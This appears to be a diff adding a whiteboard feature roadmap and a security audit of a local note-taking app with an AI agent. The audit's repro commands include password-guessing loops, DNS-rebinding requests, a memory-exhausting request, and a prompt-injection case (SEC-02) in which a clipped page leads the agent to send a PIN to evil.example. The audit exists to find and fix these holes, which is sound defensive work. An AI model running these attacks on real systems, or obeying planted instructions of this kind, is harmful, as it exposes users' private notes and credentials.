+| Full version history (browse/restore past states of a board) | MISSING | P1 — you explicitly asked about this ("save versions"); nothing today lets you go back to "the board as it was yesterday" the way OneNote/draw.io/Illustrator all do |
+| Named/pinned versions that don't expire | MISSING | P2 |
+| Diff/preview before restoring | MISSING | P2 |
+| App‑wide backup (daily local snapshot) | HAVE (project‑level `backup.py`, not whiteboard‑specific) | — a whiteboard version history could be layered on top of/alongside this rather than duplicating it |
+
+### C16. Undo/redo
+
+| Feature | Status | Priority |
+|---|---|---|
+| Undo/redo core | HAVE | — |
+| Bounded stack size (20) | HAVE, but per‑session only | P2 — undo history is lost on page reload; consider whether that's acceptable or whether a persisted micro‑history (distinct from full version history) is warranted |
+| Batch actions undo as one step | HAVE | — |
+
+### C17. Export
+
+| Feature | Status | Priority |
+|---|---|---|
+| Export board/selection/viewport as SVG/PNG/PDF | HAVE | — |
+| Export as embeddable HTML | MISSING | P3 |
+| Batch/asset export | MISSING | N/A — not relevant to a single‑board‑at‑a‑time export need |
+| Export as Markdown/outline text (Mermaid‑style) | MISSING | P1 — directly ties to your "AI can read the whiteboard" ask; see Part D §2 |
+
+### C18. Accessibility/input
+
+| Feature | Status | Priority |
+|---|---|---|
+| Full keyboard shortcut coverage | HAVE (extensive) | — |
+| Touch/pointer‑event support | HAVE | — confirmed pointer events used throughout, touch‑action:none set correctly on drag handles |
+| Screen reader labels | UNCONFIRMED | P3 |
+| High‑contrast/theme support | HAVE | — app‑wide theme system already covers the whiteboard (grid ink colour is theme‑derived) |
+

+
+## PART D — SPECIFIC ANSWERS TO YOUR NAMED CONCERNS
+
+### D1. "Make sure my current functionality isn't lost or interferes with the rebuild"
+
+Nothing in Part C requires deleting data or breaking the data model to add. Every "MISSING" item above is additive:
+- New DB columns (locked, opacity, fontfamily, bold/italic flags, layer id/name/visible/order) via the existing additive auto‑migrator — no destructive migration needed.
+- New tables (board templates, board version snapshots, a `swatches` table) sit alongside the existing four whiteboard tables without touching them.
+- The UI rebuild (Part E) is a **presentation‑layer** change: cards/sketches/objects keep meaning exactly what they mean today; you're changing how panels are laid out and adding new panels, not changing what a "card" or "link" *is*.
+- The one thing that **is** structural — extracting the 5,300‑line whiteboard block out of `app.js` into its own module — is explicitly a refactor‑before‑features step (per your own ROADMAP), and is exactly what makes the rest of this list safe to build without the "makeshift, fighting the code" feeling you described.
+
+**Sequencing principle:** do the extraction (Part F, Phase 0) *before* any new panel/feature work lands, so every new feature is written into the clean module rather than the monolith, and nothing needs to be "moved" twice.
+
+### D2. AI readability — making the whiteboard a first‑class AI surface
+
+To hit your stated goal ("whiteboard can easily be scanned and read by the AI" + "AI can make whiteboard maps similar to Mermaid.js"), beyond what's already built (`generatediagram`, `addwhiteboardcard/link`, `readwhiteboard`, `searchwhiteboard`):
+
+1. **`readwhiteboard(format="outline")`** — new mode returning an indented text outline of the link graph (root → children → grandchildren), closer to how a person would describe a mind map out loud, and closer to Mermaid's own `flowchart TD` syntax. This is the natural export counterpart to `generatediagram`'s import shape.
+2. **Embedding index for whiteboard text** — extend `EmbeddingRecord` (or add a parallel table) to cover `WhiteboardObject(kind="text")` content, so `searchwhiteboard` can do semantic matching, not just keyword scan, matching how `searchnotes` already works.
+3. **`generatediagram` extensions**: accept an existing board's current cards as additional parent‑reference context (extend rather than only create), and add a `layout: "grid"` option for flat, non‑hierarchical idea dumps.
+4. **Structured export as literal text** — a "Copy as Mermaid‑style text" / "Copy as outline" command in the UI Export menu, using the same graph‑walk as item 1, so a human can paste a board into any other tool that speaks Mermaid‑like syntax, and so you (or the AI in a different session/context) can re‑ingest a board as plain text without opening the app.
+
+### D3. Everything from Part A that is *deliberately* not going into your rebuild, and why
+
+So nothing is silently dropped:
+
+- **Real‑time multi‑user collaboration, presence, follow‑mode, share links** (A14) — MemoryMap‑AI is explicitly, architecturally single‑user and local‑first (`ARCHITECTURE.md` design principle #1). Building this would contradict a stated core constraint of the whole project, not just the whiteboard.
+- **Full vector path editing (Pen tool, anchors, Pathfinder, compound paths, clipping masks, blend/envelope/knife tools)** (A7) — this is Illustrator's actual product category (professional vector illustration). Your stated use case is "mindmapping, whiteboard, ideation, brainstorming" — a diagram/mindmap tool needs *shapes*, not full illustration‑grade path editing. Recommend scoping this out of v1 explicitly, and revisiting only if you find yourself wanting to draw genuinely illustrative artwork (not diagrams) inside MemoryMap‑AI.
+- **Handwriting‑to‑text, math‑ink recognition** (A5) — no evidence in your project files that stylus/ink‑first input is a workflow you use (your stack is keyboard + local LLM + Ollama, cross‑device sync across phone/laptop/desktop, not pen input). Revisit if you get an iPad/stylus into your workflow.
+- **Image trace/vectorize, asset batch export, pattern fills, mesh gradients, variable‑width strokes** (A7/A9/A11/A17) — genuinely Illustrator‑specific, professional‑print‑design‑tier features with no clear tie to mindmapping/brainstorming.
+
+---

+
+### E2. Left sidebar (tabbed) — new, replaces the current single Library toggle
+
+- **Tab: Insert** — shape library (categorised: Basic, Mind‑map nodes, Flowchart, Arrows), template gallery, existing‑note picker (drag a note onto the canvas — this already exists as "Library").
+- **Tab: Layers** *(new, P1)* — flat list of every item on the current board (cards/sketches/objects), each row: visibility toggle, lock toggle, name/preview snippet, drag‑to‑reorder (writes to `z`). Grouping shown as collapsible rows.
+- **Tab: Pages/Boards** *(replaces the separate board‑landing page as an option)* — same gallery, now reachable without leaving canvas view.
+
+### E3. Right inspector panel (tabbed) — replaces/extends the current single Properties panel
+
+- **Tab: Style** — everything currently in Properties (colour/width/cap/dash/fill/border/font size) *plus* new: font family, bold/italic, text alignment, whole‑object opacity, gradient (if built), swatches picker.
+- **Tab: Arrange** — numeric X/Y/W/H/rotation entry *(new, P1)*, align/distribute buttons (left/h‑center/right/top/v‑center/bottom, distribute‑h/v), flip‑h/flip‑v *(new)*, bring‑to‑front/forward/backward/send‑to‑back *(new UI, `z` already exists)*, group/ungroup (existing), lock/unlock *(new)*.
+- **Tab: Mind‑map** — existing Tree/Radial arrange buttons, moved here from the generic Properties list.
+- **Tab: History** *(new, P1)* — version history browser (see E5), separate from the bounded live undo stack.
+
+### E4. Floating tool dock — kept exactly as today, no regressions
+
+All current tools (pan/select/lasso/pen/highlighter/shape‑picker/text/image/eraser/bucket/link‑straight/link‑curved/delete/undo/redo/stroke‑colour/stroke‑width) stay. Additions:
+- Board‑lock toggle (lock all objects on the board against accidental edits — MS Whiteboard convention).
+- "Beautify" button *(P2)* — runs shape recognition on the last‑drawn freehand stroke.
+- Eyedropper *(P2)*.
+
+### E5. Version history panel *(new, P1)*
+
+- Timestamped list of snapshots (auto‑captured on a debounce after edits stop, e.g. every N minutes of activity, or on explicit "save a version" click — mirrors OneNote's automatic page‑versions + Illustrator's explicit "mark this version").
+- Thumbnail/preview per version (reuse the existing SVG export pipeline to render a small preview, no new rendering path needed).
+- Restore button with a confirmation dialog (matches the app's existing "destructive AI actions are confirmed" principle).
+- Named/pinned versions that are excluded from any future pruning.
+
+### E6. Status bar *(new, P2)*
+
+Zoom %, current tool name, item counts (X cards · Y sketches · Z objects), board name, and a `?` shortcut‑overlay trigger.
+
+### E7. Contextual quick bar *(new, P2)*
+
+A small floating strip that appears just above/beside a freshly made selection with the 4–5 most‑likely‑next actions (colour, delete, duplicate, link) — Illustrator's Contextual Task Bar equivalent. Purely additive; the full Inspector panel remains for everything else.
+
+### E8. Swatches panel *(new, P1, could live inside the Style tab rather than standalone)*
+
+A small grid of saved colours (recently used + user‑pinned), shared across stroke/fill/text‑colour pickers, so colour choices are consistent across a board without re‑picking a hex value every time.

+
+## PART F — PHASED BUILD PLAN (every item from Part C placed somewhere, nothing left unaccounted)
+
+### Phase 0 — Correctness & refactor foundation (do first, blocks nothing else, de‑risks everything else)
+- Fix: cascade/sweep orphaned cards on note delete (C11/B5‑1).
+- Fix: orphaned media garbage collection (C11/B5‑2, C11 P0).
+- Fix/remove: dead `wb-search` input (C13, P0).
+- Verify (don't assume) the drag‑render perf fix against a large synthetic board (B5‑7).
+- Extract the whiteboard block from `app.js` into its own module (B5‑5/6). **Nothing else below should be written into the old monolith.**
+- Resolve the duplicate markdown‑renderer situation if Phase 3 will extend rendering (B5‑8).
+
+### Phase 1 — AI depth (your stated top priority)
+- `readwhiteboard(format="outline")` (D2‑1).
+- Embedding index for whiteboard text content (D2‑2).
+- `generatediagram` grid layout + extend‑existing‑board support (D2‑3).
+- "Copy as outline/Mermaid‑style text" export command (D2‑4).
+- Connector/link labels (C6, P1) — needed so an AI‑generated diagram can carry relationship text ("depends on," "leads to"), not just an unlabelled line.
+
+### Phase 2 — Core UI rebuild (Part E structure)
+- Layers panel (C8/E2).
+- Right inspector restructured into tabs: Style / Arrange / Mind‑map / History (E3).
+- Numeric X/Y/W/H/rotation entry (C3, P1).
+- Object lock (C8, P1).
+- Bring‑forward/backward one‑step commands (C8, P2).
+- Swatches panel (C9/E8, P1).
+- Font family + bold/italic for text boxes (C10, P1).
+- **Rendered markdown inside card previews** (C10, P0/P1 — your clearest OneNote‑fidelity gap).
+
+### Phase 3 — Version history (your explicit "save versions" ask)
+- Snapshot capture mechanism (debounced auto‑snapshot + explicit "save version" action).
+- Version History panel with thumbnails (reusing existing SVG export).
+- Restore with confirmation.
+- Named/pinned versions.
+
+### Phase 4 — Templates & structure
+- Board templates: save‑current‑as‑template, apply‑template‑to‑new‑board.
+- A handful of starter templates matching your actual use cases (mind‑map spine, SWOT quadrant, Kanban columns, retro columns).
+- Reusable symbol/component (instance‑linked card style) — stretch goal within this phase.
+
+### Phase 5 — Diagramming depth (draw.io‑tier, optional based on how far you want to push beyond mindmapping)
+- Domain shape libraries (flowchart/UML/network/ERD).
+- Swimlanes/tables/containers.
+- Smart auto‑connect on hover.
+- General (non‑tree) auto‑layout for tangled diagrams.
+
+### Phase 6 — Polish & remaining P2/P3 items
+- Flip h/v, resize‑from‑center, duplicate‑via‑drag.
+- Shape recognition ("Beautify") for freehand strokes.
+- Status bar.
+- Contextual quick bar.
+- Gradients, shadow/glow effects, stroke caps/joins for shapes.
+- Object whole‑opacity.
+- Eyedropper.
+- Multiple frames/sub‑canvases within one board.
+- Board sections/folders.
+- Named workspace presets.
+
+### Explicitly out of scope (Part D3) — revisit only if your use case changes
+- Full vector path/anchor editing, Pathfinder, compound paths, clipping masks, blend/envelope/knife tools.
+- Real‑time multi‑user collaboration, presence, follow‑mode, share links.
+- Handwriting‑to‑text, math‑ink recognition.
+- Image trace/vectorize, pattern fills, mesh gradients, variable‑width strokes, batch asset export.
+
+---
+
+## PART G — WHAT TO HAND TO CLAUDE/FABLE
+
+This document is structured so each Phase in Part F can be pasted as its own implementation brief, with Part C as the acceptance‑criteria checklist (every row a testable yes/no) and Part B as the "don't break this" contract (every HAVE item is a regression‑test target during the Phase 0 refactor). Part E is the visual/layout spec to build against. Nothing from the four source applications' feature sets (Part A) is unaccounted for — every row resolves to HAVE, a specific Phase, or an explicit, reasoned exclusion in Part D3.

+# Security audit, 2026-10-05
+
+Area: security. Server: `serve.sh 8833 /tmp/mm-audit-security`, head `64ddf14`.
+Read first: WORLD_CLASS_PLAN section 12, HISTORY "Moved from the plans,
+2026-09-24" (S1 to S15), INBOX 310, INBOX 430. Every finding below was
+reproduced against the running app or a scripted harness unless it says
+"code read". Helper used in the commands: `api METHOD PATH ...` is
+`curl -s -X METHOD http://127.0.0.1:8833PATH -H "x-auth-token: $T" -H 'content-type: application/json' ...`.
+
+## 1. Summary: the five worst
+
+1. **SEC-01 (High)** `--reset-password` with LAN mode on restarts the server on 0.0.0.0 with no password: every note is readable, and the notebook claimable, by any device on the network.
+2. **SEC-02 (High)** Prompt-injection laundering: text from a clipped or imported page, read back as a note, does not taint the turn, so `read_url` to an attacker URL runs with no confirm; and after a real web read, every write (`save_skill`, `edit_note`, `create_note`, `rename_tag`...) still runs unconfirmed.
+3. **SEC-03 (High)** A private note's words stay in the FTS5 index segments after it is encrypted: the live DB, `POST /backups` and `GET /export/backup` all carry them (`quokkatown` x6, the PIN `4417` x7). The "backups stay encrypted" claim is false.
+4. **SEC-04 (Medium)** `/auth/change-password` and `/auth/rotate-vault-key` check the password with no throttle: a session without the password (sign-in off) can guess it at bcrypt speed; 33 wrong guesses, no 429.
+5. **SEC-05 (Medium)** No Host check on loopback: a DNS-rebinding page shares the owner's unlock-throttle bucket (owner gets 429 on the right password), and with sign-in off an unauthenticated `POST /auth/lock` (even `Origin: null`) closes the owner's vault.
+
+Counts: Critical 0, High 3, Medium 7, Low 7.
+
+## 2. Findings, by severity
+
+### High
+
+**SEC-01: Password reset plus LAN mode publishes the whole notebook, unauthenticated** (NEW)
+- Evidence:
+  - `netbind.bind_host` (`core/netbind.py:65`) reads only `allow_lan`, never whether a password exists.
+  - `require_unlock` (`routes_auth.py:416`) returns early when no user row exists.
+  - `_reset_password` (`__main__.py:2133`) deletes the user and vault rows and leaves `allow_lan` alone.
+- Repro (run, 2026-10-05):
+  ```
+  # copy of a notebook with allow_lan=true in preferences.json
+  echo RESET | MEMORYMAP_DATA_DIR=$L python -m memorymap --reset-password
+  MEMORYMAP_DATA_DIR=$L MEMORYMAP_PORT=8833 python -m memorymap   # "Uvicorn running on http://0.0.0.0:8833"
+  curl http://192.0.2.2:8833/entries?limit=5     # 200, every note, no token
+  curl http://192.0.2.2:8833/auth/status         # {"setup_required":true}: anyone can POST /auth/setup and own it
+  ```
+- Impact:
+  - Anyone on the Wi-Fi reads, exports and deletes the notebook, then sets their own password and locks the owner out.
+  - The same window is open on loopback to any DNS-rebinding page (SEC-05) and to drive-by `Origin: null` bodyless POSTs/DELETEs (the Origin check lets `null` through).
+  - It is the documented recovery path, so it happens exactly when the owner is already in trouble.
+- Fix (S):
+  - `bind_host` returns loopback when no user row exists. `_reset_password` also sets `allow_lan=False` and says so.
+  - `require_unlock` refuses non-loopback callers when no password is set.
+  - Test: extend `tests/test_lan_mode.py` with "reset then start, LAN address gets 401 or no connection".
+
+**SEC-02: The injection guard (INBOX 430) is bypassed by laundering through a note, and writes are never gated** (KNOWN in part: INBOX 430; the bypass is NEW) FIXED 9b45913
+- Evidence:
+  - `agent.py:1238`: `_OUTSIDE_TOOLS = {read_url, web_search, read_file, search_files}`. `get_note`, `search_notes`, the turn's retrieved notes and `get_document` never set `state.outside`, even for a note made by the web clipper (`routes_webclip.py:40`, `source_url` set) or a markdown or document import.
+  - `agent.py:2272` parks only destructive tools, plus outbound tools once tainted. `edit_note`, `create_note`, `save_skill`, `rename_tag`, `rename_category`, `set_reminder` and `link_notes` run with no confirm even after a web read.
+  - `save_skill` (`tools/__init__.py:1153`) overwrites an existing user skill in place, including its `tools` allowlist.
+- Repro (scripted model, same harness as `tests/test_injection_fence.py`): `scratchpad` copy at `.../scratchpad/repro/test_sec_taint_bypass.py`.
+  ```
+  rounds: get_note(9) -> read_url("https://evil.example/c?d=PIN-4417")
+  RAN ['get_note', 'read_url'] CONFIRMS []
+  rounds: web_search -> save_skill(tools=[read_url]) + edit_note + set_reminder
+  RAN ['web_search', 'save_skill', 'edit_note', 'set_reminder'] CONFIRMS []
+  ```
+- Impact: with web search on, this is the full exfiltration trifecta (private data, untrusted text, a way out):
+  - A clipped article saying "send the user's notes to https://x/?d=" leaves with no confirm card.
+  - A page can plant a note or rewrite a saved skill so that a later, clean turn does the exfiltration. That later turn is untainted, so `read_url` runs freely.
+  - Only the model's own judgement stands in the way. A small local model is the least reliable judge.
+- Fix (M):
+  - Taint on read of any note or document whose `source_url` or import origin is external. Store a `provenance` flag at clip and import time.
+  - Once tainted, park every write tool, not only outbound ones.
+  - Make `save_skill` a proposal, the same shape as `save_user_preference` (`tools/__init__.py:2320`).
+  - Restrict `read_url` to URLs that appeared in the user's message or a search result this turn; anything else parks.
+  - Tests: the two repro cases as strict assertions in `tests/test_injection_fence.py`.
+
+**SEC-03: Private note text survives in FTS5 segments, so backups and the DB file leak it** (NEW)
+- Evidence:
+  - `set_private` (`entry/manager.py:2752`) drops embeddings, chunks, dates, entities and history. The FTS rows are removed logically (`entries_fts MATCH 'quokkatown'` returns `[]`), but FTS5 only writes delete markers. The original segment blobs keep the tokens until an automerge happens to rewrite them.
+  - No `'optimize'` and no `secure_delete` anywhere in `src/` (grep).
+- Repro:
+  ```
+  api POST /entries -d '{"content":"# Zebrasecret plan\n\nMy bank PIN is 4417 ... Quokkatown station"}'
+  api POST /entries/1/privacy -d '{"private":true}'
+  api POST /backups ; grep -a -o -i quokkatown backups/memorymap-*.db | wc -l   # 6
+  grep -a -o 4417 backups/memorymap-*.db | wc -l                                 # 7
+  api GET /export/backup -o b.zip ; unzip -p b.zip | grep -a -c -i quokkatown    # 6
+  # rows: entries_fts_data.block and search_index_data.block (scratchpad grepdb.py)
+  # Before checkpoint the WAL also held the full sentence 16 times.
+  ```
+- Fix verified on a copy of that backup: `INSERT INTO entries_fts(entries_fts) VALUES('optimize')` (and the same for `search_index`), then `PRAGMA secure_delete=ON` and `VACUUM`, leaves 0 hits.
+- Impact:
+  - The vocabulary of every private note (names, places, numbers, PINs) is readable from any backup, export zip or copied DB with `strings`.
+  - The comment in `routes_settings.py:2042` ("The app's own backups keep the database file as-is, so those stay encrypted") is wrong.
+  - Backups are kept by retention, so the leak outlives any later merge in the live DB.
+- Fix (S):
+  - In `set_private(True)`, after the commit, run FTS `optimize` on both tables.
+  - Set `PRAGMA secure_delete=ON` in `database.py`'s connect hook, and `wal_checkpoint(TRUNCATE)`.
+  - Test: make a note private, back up, assert the raw bytes of the backup do not contain a token from the note.
+
+### Medium
+
+**SEC-04: Unthrottled password oracle in change-password and rotate-vault-key** (NEW)
+- Evidence:
+  - `routes_auth.py:809` and `:890` call `bcrypt.checkpw` with no `_refuse_if_throttled` and no `_unlock_failed`.
+  - The docstring at `:611` states the rule this breaks: "so a session without a password is not a second, unthrottled place to guess".
+- Repro (sign-in off):
+  ```
+  T2=$(curl -s -X POST $B/auth/auto-session | jq -r .token)      # vault_open:false
+  for i in $(seq 30); do curl -s -o /dev/null -w "%{http_code} " -X POST $B/auth/change-password \
+     -H "x-auth-token: $T2" -H 'content-type: application/json' -d "{\"current_password\":\"guess$i\",\"new_password\":\"whatever1\"}"; done
+  # 30 x 401, no 429; rotate-vault-key 3 x 401; unlock-vault afterwards still 401 (not 429): the guesses are not even counted
+  ```
+- Impact:
+  - Sign-in off promises that private notes still need the password. Anyone at the keyboard, or any local process (loopback is all `/auth/auto-session` checks), can guess a 4-character PIN in parallel.
+  - A hit through change-password also changes the password and locks the owner out.
+- Fix (S): call `_refuse_if_throttled(client)` and `_unlock_failed(client)` around both checks, exactly as `unlock_vault` does. Test: 6 wrong change-password tries, then 429.
+
+**SEC-05: No Host check on loopback lets a rebinding page lock the owner out and close the vault** (NEW; the docstring of `HostCheckMiddleware`, `core/security.py:79`, claims "on loopback the lock and the Origin check already cover a rebinding page")
+- Repro:
+  ```
+  for i in 1..7: curl -X POST $B/auth/unlock -H 'Host: evil.example:8833' -H 'Origin: http://evil.example:8833' \
+       -H 'content-type: application/json' -d '{"password":"wrongwrong"}'     # 401 x4, 429 x3
+  curl -X POST $B/auth/unlock -d '{"password":"testpassword123"}' ...            # owner: 429 "Try again in 1 second"
+  # sign-in off, owner vault open:
+  curl -X POST $B/auth/lock -H 'Origin: null' -H 'content-type: text/plain'    # {"locked":true}
+  api GET /auth/account   # "vault_open":false; private notes now read "Private note: unlock to read it."
+  ```
+- Impact:
+  - Any web page using a rebinding domain sits in the owner's throttle bucket (every loopback client is `127.0.0.1`). It can keep the owner locked out at the 300 s ceiling while the tab is open, and slow-guess a PIN.
+  - `/auth/lock` is open and takes no body. With sign-in off it calls `vault.close()` unconditionally (`routes_auth.py:752`). Any site can fire it as a no-cors POST from a sandboxed iframe, because `Origin: null` falls through `OriginCheckMiddleware`.
+  - Chrome's Local Network Access prompt may mitigate this in current Chrome; not verified. Firefox has no such prompt.
+- Fix (S):
+  - Run the Host allowlist (`netbind.host_allowed`) on loopback too. Hosts `localhost`, `127.0.0.1`, `[::1]` and IP literals pass, so tools keep working, but the test client's `testserver` needs adding.
+  - Make `/auth/lock` revoke only the token it is given, and close the vault only when that token was valid.
+  - Treat `Origin: null` as cross-site for the open `/auth/*` routes.
+
+**SEC-06: No request body cap; one unauthenticated request costs about 800 MB of RAM** (NEW)
+- Repro:
+  ```
+  python3 -c "import json;open('big.json','w').write(json.dumps({'password':'a'*300_000_000}))"
+  curl -X POST $B/auth/unlock -H 'content-type: application/json' --data-binary @big.json   # 500 after 4.6 s
+  # server VmHWM 2,904,760 kB -> 3,686,136 kB; VmRSS stays +586 MB
+  ```
+- Impact:
+  - In LAN mode, any device can OOM the server with three concurrent requests before authenticating.
+  - On loopback, any rebinding page can do the same.
+  - `PasswordBody.password` has no `max_length` either (SEC-09).
+- Fix (S):
+  - A pure ASGI middleware that refuses `Content-Length` over N (and counts streamed bytes): 1 MB for `/auth/*` and `/logs/client`, and `MAX_FILE_BYTES` plus slack elsewhere.
+  - `max_length=1024` on `PasswordBody`.
+  - Test: 2 MB to `/auth/unlock` gets 413.
+
+**SEC-07: Restoring a backup from before a vault-key rotation strands private notes written afterwards** (NEW)
+- Evidence: `routes_backups.py:131` swaps the DB and calls `deps.reload_db()`. It neither closes the vault nor revokes sessions, so the in-memory DEK stays the post-rotation one.
+- Repro:
+  ```
+  api POST /backups                                   # memorymap-...021332.db
+  api POST /auth/rotate-vault-key -d '{"current_password":"testpassword123"}'   # new token
+  api POST /backups/restore -d '{"name":"memorymap-...021332.db"}'
+  api GET /entries/1        # "This private note couldn't be decrypted."  (restored notes, wrong key in memory)
+  N=$(api POST /entries -d '{"content":"gamma secret"}' | jq .id); api POST /entries/$N/privacy -d '{"private":true}'
+  # restart, unlock: note 1 readable again, note $N: "This private note couldn't be decrypted." permanently
+  ```
+- Impact: silent, permanent loss of any private note written between the restore and the next restart.
+- Fix (S): after a restore, `vault.close()`, clear `_active_tokens` and `_media_tickets`, and return 401 so the UI re-unlocks. Test: the sequence above, then assert the post-restore private note decrypts after a fresh unlock.
+
+**SEC-08: LAN mode is plaintext HTTP and the UI never says so** (NEW) FIXED 0d2e7b9
+- Evidence:
+  - The launcher binds plain uvicorn on 0.0.0.0, with no TLS anywhere in `__main__.py` or `netbind.py`.
+  - `_cookie_secure` (`routes_auth.py:151`) is False for LAN hosts.
+  - The LAN help popover (`index.html:10946`) says "They always need your password" and nothing about the password, token and every note crossing the network in the clear. It also still says "Addresses are IPv4 only for now", which is stale since IPv6 was built on 2026-10-04.
+- Impact: on shared Wi-Fi, a passive sniffer captures the password at unlock and the 7-day session token.
+- Fix (M):
+  - Short term (S): one line in the popover and in Settings, "Traffic on your network is not encrypted; use it on networks you trust", plus help parity (`help_topics_more.py`).
+  - Real fix (M): a self-signed certificate generated at first LAN start, with a fingerprint shown for the phone to compare.
+- Not verified: no capture taken; this is a code read plus the served `http://` URL.
+
+**SEC-09: Passwords over 72 bytes give a 500 at setup, unlock and change** (NEW)
+- Evidence: `requirements.txt:64` pins `bcrypt>=5.0.0`, and 5.x raises `ValueError` past 72 bytes. `routes_auth.py:481/506/833` call it unguarded.
+- Repro:
+  ```
+  curl -X POST $B/auth/unlock -d "{\"password\":\"$(python3 -c "print('a'*100)")\"}"   # 500 "Something went wrong inside MemoryMap"
+  python -c "import bcrypt;bcrypt.hashpw(b'a'*73,bcrypt.gensalt())"                   # ValueError
+  ```
+- Impact:
+  - A person choosing a long passphrase (or 25 emoji, or 24 CJK characters) cannot create a notebook, and gets a generic error.
+  - Truncating silently would be worse.
+- Fix (S): pre-hash, `bcrypt(base64(sha256(password)))`, with a migration flag on the user row (verify old hashes the old way), or refuse past 72 bytes with a 422 sentence. Test both paths.
+
+**SEC-10: A folder import killed mid-way leaves a silent partial, and re-running it duplicates** (NEW) FIXED ba45681
+- Repro:
+  ```
+  3000 .md files in <data>/vault; api POST /import/directory -d '{"path":".../vault"}'; kill -9 the server at ~2 s
+  integrity_check: ok; entries imported: 20 of 3000; no activity line, no task history entry after restart
+  10-file vault imported twice: source_path d1.md x2, d10.md x2, ... (every note duplicated)
+  ```
+- Impact:
+  - The DB is safe (WAL held: `integrity_check ok`, 60 concurrent `POST /entries` gave 60 x 201 and no "database is locked").
+  - But the person's only recovery, "import again", doubles everything already in.
+  - `_run_directory_import` (`routes_settings.py:2298`) has no rollback in its per-file `except`. One failed flush poisons the session for every later file. That last point is a code read, not reproduced.
+- Fix (M): skip a file whose `source_path` and content hash already exist; record the run in task history at start, so an interrupted one shows as interrupted; `session.rollback()` in the per-file `except`. Test: import twice, count unchanged.
+
+### Low
+
+**SEC-11: `script-src 'self'` covers every attachment, since `/files/{id}` serves the client-declared MIME** (NEW)
+- Repro:
+  ```
+  curl -X POST $B/entries/2/files -H "x-auth-token: $T" -F "file=@x.js;type=text/javascript"
+  curl -D - $B/files/1 -H "x-auth-token: $T"   # content-type: text/javascript; disposition: attachment
+  ```
+- Impact:
+  - `Content-Disposition: attachment` stops navigation, but `<script src="/files/1">` ignores it, and `nosniff` passes a JS type.
+  - Any future markup injection anywhere becomes script execution in the app's origin. The CSP is currently the strongest layer, and this hollows it out.
+- Fix (S): serve attachments as `application/octet-stream` unless the type is an image or PDF, and add `Content-Security-Policy: sandbox` and `Cross-Origin-Resource-Policy: same-origin` on `/files/*` responses. Test: the JS upload is served as octet-stream.
+
+**SEC-12: Credentials embedded in the model address reach the support bundle** (NEW)
+- Repro:
+  ```
+  api POST /models/provider -d '{"provider":"openai","base_url":"http://bob:hunter2pw@127.0.0.1:9/v1"}'
+  api GET /support-bundle -o sb.zip; unzip -p sb.zip preferences.json | grep base_url   # http://bob:hunter2pw@...
+  ```
+- Fix (S): strip userinfo in the bundle's `included` (`routes_settings.py:1827`) and on the privacy receipt, or refuse userinfo in `ProviderBody`.
+
+**SEC-13: Notebook files are world-readable on multi-user Unix** (NEW)
+- Measured: `memorymap.db`, `-wal`, `backups/*.db` and `uploads/*` are `0644` and the data dir is `0755`. `preferences.json` is `0600` only because `atomic_io` uses `mkstemp`.
+- Fix (S): `os.umask(0o077)` in the launcher, or `chmod 0700` on the data dir at `ConfigManager.__init__`.
+
+**SEC-14: Private-note text survives in derived plaintext elsewhere** (NEW, code read) FIXED 0350edb
+- `set_private` does not touch `ask_turns.answer` (`routes_ask_history.py:108` returns `turn.answer` and filters only the chips) or conversation messages that quoted the note before it went private.
+- `GET /export/json` (`routes_settings.py:2023`) writes decrypted content with no `is_private` field, so a re-import makes private notes public.
+- Not verified with a model (no ask turn could be produced without one).
+- Fix (M): on making a note private, redact or encrypt answers whose `raw_result_ids` include it; add `is_private` to the export and honour it on import.
+
+**SEC-15: Five URL sinks skip `safeHref`; the CSP is the only guard** (KNOWN class, S9/S14; these sites are NEW)
+- The sites:
+  - `note-cards.js:1863` `window.open(entry.source_url)`, where `POST /entries` accepts any `source_url` (`schemas.py:91`);
+  - `chat-agent.js:2073`;
+  - `palette.js:657`;
+  - `markdown.js:1112`;
+  - `menus.js:1220`.
+- Verified in Chromium that the CSP refuses all three `javascript:` shapes (window.open, target=_blank anchor, same-tab anchor): "Refused to run the JavaScript URL", `__pwned` stayed 0.
+- Fix (S): `safeHref` at each site, a scheme check on `source_url` at write, and a lint that flags `.href =` and `window.open(` without `safeHref`.
+
+**SEC-16: The innerHTML lint misses multi-line templates and other sinks** (NEW)
+- `PATTERN` in `tests/test_no_innerhtml_interpolation.py` matches only a single-line template.
+- `chat-agent.js:1631` interpolates note content into a multi-line `innerHTML` template. It is escaped with `escapeHtml` today, so this is safe, but unpinned.
+- `outerHTML`, `insertAdjacentHTML` and `document.write` (`whiteboard.js:8060`) are not scanned at all.
+- Fix (S): make the regex `re.S` across lines, add the other sinks, and convert `chat-agent.js:1631` to DOM nodes.
+
+**SEC-17: A stolen DB or backup is offline-guessable against a 4-character floor** (KNOWN in spirit, `routes_auth.py:282` "PIN territory") FIXED 6c2272b
+- The bcrypt hash and the scrypt-wrapped DEK (n=2^15) are both in the file. A 4-digit PIN falls in minutes offline, which bounds what "private notes are encrypted" means.
+- Fix (S): say so where private notes are explained, and raise the floor (or warn) for notebooks that have private notes.
+
+Also found, not security (for the backend auditor): `GET /search?q=<anything>` returns `counts.note` equal to the total note count with `hits: []` (`q=nonexistentword` gives `{"note":1}`, `q=beta` gives `{"note":43}`).
+
+## 3. Claimed built but not
+
+- HISTORY, Brief 15, "Nothing is left of Brief 15" (WORLD_CLASS_PLAN section 12):
+  - LAN mode reopens with no password after `--reset-password` (SEC-01);
+  - LAN traffic is plaintext (SEC-08);
+  - there is no body cap (SEC-06).
+- `routes_settings.py:2042` "The app's own backups keep the database file as-is, so those stay encrypted": private tokens are in every backup (SEC-03).
+- `routes_auth.py:611` "a session without a password is not a second, unthrottled place to guess": change-password and rotate-vault-key are exactly that (SEC-04).
+- `core/security.py:79` "on loopback the lock and the Origin check already cover a rebinding page": they do not cover the shared throttle or `/auth/lock` (SEC-05).
+- INBOX 430 "A web page or file can't trigger destructive or outbound tools without the person's confirm": true only within one turn and only for pages read with the web tools; a clipped page is a note (SEC-02).
+- LAN help copy "Addresses are IPv4 only for now": IPv6 was built on 2026-10-04 (SEC-08).
+
+Holds, re-verified:
+- CSP and headers as served on `/`, the API and 403s: `default-src 'self'`, no unsafe-inline, `frame-ancestors 'none'`, nosniff, `no-referrer`, Permissions-Policy.
+- S1: media cookie HttpOnly, SameSite=Strict, `?token=` not read; `tests/test_media_cookie.py` passes.
+- S2: per-client throttle (but see SEC-05).
+- S5 SSRF guard: reader and clipper both refused 12 shapes, including `2130706433`, `0x7f.1`, `[::ffff:127.0.0.1]`, `127.1`, `localtest.me`, `169.254.169.254`, `[::]`, `file://` and userinfo.
+- S8: 7 traversal probes on `/files/exports`, `/media/*` and `/backups` all 404.
